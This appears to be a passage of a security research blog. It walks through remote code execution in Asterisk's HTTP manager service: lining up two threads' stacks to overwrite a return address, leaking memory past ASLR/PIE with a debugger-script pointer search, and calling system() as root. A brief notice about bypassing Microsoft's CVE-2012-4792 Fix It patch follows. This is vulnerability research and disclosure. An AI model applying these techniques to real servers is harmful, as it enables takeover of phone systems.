. For each TCP connection accepted on the listening HTTP port (default 8088),
calls the following thread creation wrapper to create a new thread and eventually call the worker function:
...
if (ast_pthread_create_detached_background(&launched, NULL, handle_tcptls_connection, tcptls_session)) {
ast_log(LOG_WARNING, "Unable to launch helper thread: %sn", strerror(errno));
ast_tcptls_close_session_file(tcptls_session);
ao2_ref(tcptls_session, -1);
}
...
The function
is a macro wrapper for the function
. The macro definition looks roughly like:
The important thing to note here is the argument
. This is used by the function to set the new thread’s stack size attribute before starting the thread:
...
return pthread_create(thread, attr, start_routine, data);
For builds without low memory restrictions defined, the AST_BACKGROUND_STACKSIZE and the
macros are defined as:
#define AST_STACKSIZE (((sizeof(void *) * 8 * 8) - 16) * 1024) /* becomes 0x3C000 */
The use of
, or 0x3C000, to set the size of the stack for each new HTTP thread is significant, as it means the stack of the newly created thread will begin at 0x3C000 below the top of the previous thread’s stack. In turn, if a value of this size or greater is used for
pointer subtraction, the resulting stack pointer will overlap with the stack memory of a newer thread. By carefully synchronizing the state of the threads involved so they do not collide their shared use of stack memory, it is possible to use this behavior to overwrite the contents of one thread’s stack area with network data read by another thread. To visualize this, and because I love drawing stack diagrams, I present the following bad art:
Synchronizing the two threads such that they do not collide and clobber each other’s critical stack contents is as simple as not sending data when a given thread is expecting it. While one thread is waiting for data in a blocking read operation, the other thread may be using the stack. Using the HTTP POST method (as is required to trigger the vulnerability) allows for two separate network read operations per thread: one for the initial read of HTTP headers, and a second for reading the HTTP Content-Data. Having two individual network read operations per thread provides enough blocking opportunity to align the augmented stack pointer of the first thread to a desirable location used by the second thread. Better yet, this provides an opportunity to align the pointer of the first thread to a location that is not yet used by the second thread, but will be used once the second thread completes its initial read and resumes execution. The following diagram steps attempt to illustrate this process, ignoring trivial details and using round numbers for simplicity.
1. Two socket connections to the HTTP AMI service are established, causing Asterisk to create two threads to handle the connections. Both threads are expecting HTTP headers and so they are both blocking on a read operation. To depict the state of these threads:
2. Thread1 is sent HTTP headers with an HTTP Content-Length string equivalent to 0x3C900. Once headers are received, Thread1’s initial read operation finishes. It performs the
, subtracting its stack pointer by 0x3C900, which places its pointer for
at 0x900 bytes down from the top of Thread2’s stack:
3. Thread1 is then sent approximately 0x700 bytes of the 0x3C900 it is expecting. This advances the
pointer index used by
up the stack, closer to Thread2’s current stack pointer. Thread1 continues waiting as it has not yet received the full amount of data expected (0x3C900).
4. Thread2, still waiting on its initial network read, is sent HTTP POST headers with a Content-Length string equivalent to approximately 0x200, which it uses for its own
, subtracting from its stack pointer. Coordinating this length carefully places it precisely where the
pointer in Thread1
currently points. Thread2 then calls
to receive its HTTP Content-Data, causing it to block while waiting to read in data.
5. Thread1 is sent 4 more bytes of the data it is waiting to receive, which is stored starting at its current
index in
, and overwrites where Thread2’s stored return address is for
. A return from
can then be triggered by sending the remaining data expected, or a newline character, or also by simply closing the connection. Once Thread2 returns,
is restored from the overwritten return address value and execution flow is controlled.
Protection Mechanisms
Precisely overwriting only desired stack contents leaves stack canaries intact so that they do not interfere with exploitation. To avoid non-executable memory protections, typical return-oriented techniques may be employed to reuse existing executable memory once execution flow is controlled. This leaves Address Space Layout Randomization (ASLR), and more specifically, Asterisk builds compiled as Position-Independent-Executables (PIE) as the only remaining obstacle to overcome, as fixed return locations cannot be used in this case.
While the default Makefile generated to compile Asterisk from source does not include flags for PIE, popular Linux distributions may package their own Asterisk builds compiled with PIE for extra security, such as with Ubuntu (props to @kees_cook for keeping us on our toes with this). ASLR via PIE significantly frustrates exploitation. Since Ubuntu is a popular distribution, and having set the bar for difficulty in this case, the Ubuntu Asterisk build is the target we challenged ourselves with.
Who Was Phone
I will save you from babble about entropy and efforts made to try and guess addresses in the presence of ASLR. Instead we will discuss how this vulnerability can be reliably exploited for memory disclosure, and used to determine the location of Asterisk code memory to redirect execution to.
The function
in
is the URL handling function executed when triggering the vulnerability, and is defined as:
static int generic_http_callback(struct ast_tcptls_session_instance *ser,
enum ast_http_method method,
enum output_format format,
struct sockaddr_in *remote_address, const char *uri,
struct ast_variable *get_params,
struct ast_variable *headers)
{
Above you can see the
argument
is an enumeration value for one of the possible formats used for the reply. Its expected possible values are 0, 1, or 2 for “plain”, “html”, “xml” respectively. This value is used to retrieve a pointer from a global array when constructing a response in
:
/* ... */
ast_str_append(&http_header, 0,
"Content-type: text/%srn"
"Cache-Control: no-cache;rn"
"Set-Cookie: mansession_id="%08x"; Version=1; Max-Age=%drn"
"Pragma: SuppressEventsrn",
contenttype[format],
session->managerid, httptimeout);
/* ... */
ast_http_send(ser, method, 200, NULL, http_header, out, 0, 0);
/* ... */
The
array contains the pointers to the strings used for the HTTP response, and thus the pointer retrieved from this look-up directly influences data sent back to the HTTP user. By conducting the same style of stack pointer manipulation previously described, it is possible to align a thread’s
pointer to overwrite the stack memory where
is stored, so it indexes beyond the
array into other memory. With the help of some handy debugger scripting, I was able to find a pointer->pointer->code from a relative offset of
. My code to do this with VDB is shown below. (Comments document the code a little bit, but a more extensive explanation of VDB is beyond the scope of this post):
for m in trace.getMemoryMaps():
# check memory map name
if m[3].lower() == "/usr/sbin/asterisk":
# check for flags Read & Write for data segment
if m[2] == 6:
addr = m[0]
memlen = m[1]
memory = trace.readMemory(addr, memlen)
# check for Execute flag
elif m[2] == 5:
# save beginning and ending of executable memory
code = m[0]
codestop = code+m[1]
# from each offset in the memory
for offset in range(memlen-4):
# read for the size of a pointer
ptr = struct.unpack("<I", memory[offset:offset+4])[0]
# check if it is a pointer
if ispoi(ptr):
# read the value at the pointer
ptr = struct.unpack("<I", trace.readMemory(ptr, 4))[0]
# is that value in the asterisk code?
if ptr > code and ptr < codestop:
print "[*] Found 0x%08x -> 0x%08x" % (addr+offset, ptr)
The script simply searches the memory maps of the attached process for the Asterisk data and code memory regions. Once they are found, the value at every possible offset in the data map is checked to be a valid memory address. Passing this check, the value at the memory it points to is then also checked to see if it is a pointer to code memory and then prints out valid matches. This script identified 8 locations of usable pointers when ran against Ubuntu’s packaged Asterisk binary.
By overwriting the saved
variable with an index to offset to one of these pointer sequences, it is possible to manufacture a remote memory disclosure and determine an address of Asterisk code memory. Putting this all together allows for successful remote arbitrary code execution despite ASLR/PIE/NX/STACK COOKIES/ALL_OF_THE_THINGS compiled in with the Ubuntu build. To add to an already silly amount of convenience with the conditions surrounding this bug, when gaining EIP control through the method described, the next value on the stack above the overwritten return address is a pointer to the buffer passed to
in the second thread. This buffer is populated with the second thread’s received HTTP Content-Data (remotely-controlled data). Using the memory disclosure to calculate the address of a call to the function
, which takes a single string pointer argument to execute as a command line, it is simple to exploit the return in the second thread to execute arbitrary commands from the Asterisk process — which often runs as root. Using this to spawn a remote shell with Ubuntu’s default dash shell is a little obnoxious, but possible, and an exercise left up to the reader.
Hope you enjoyed the post!
—
Brandon Edwards
@drraid
Bypassing Microsoft’s Internet Explorer 0day “Fix It” Patch for CVE-2012-4792
Update: After we reported our bypasses to Microsoft, they released the MS13-008 bulletin to patch CVE-2012-4792 officially.
After posting our analysis of the current 0day in Internet Explorer which was used in a “watering hole” style attack hosted on the Council for Foreign Relations website, we decided to take a look at the Fix It patch made available by Microsoft to address the vulnerability. After less than a day of reverse engineering, we found that we were able to bypass the fix and compromise a fully-patched system with a variation of the exploit we developed earlier this week.
We have included details on the bypass to customers of our intelligence feeds and will notify Microsoft of the issue. In practice with coordinated vulnerability disclosure, we intend to update this post with details when Microsoft has addressed the problematic patch.
For more information, keep an eye on this post or contact us to inquire about our offerings.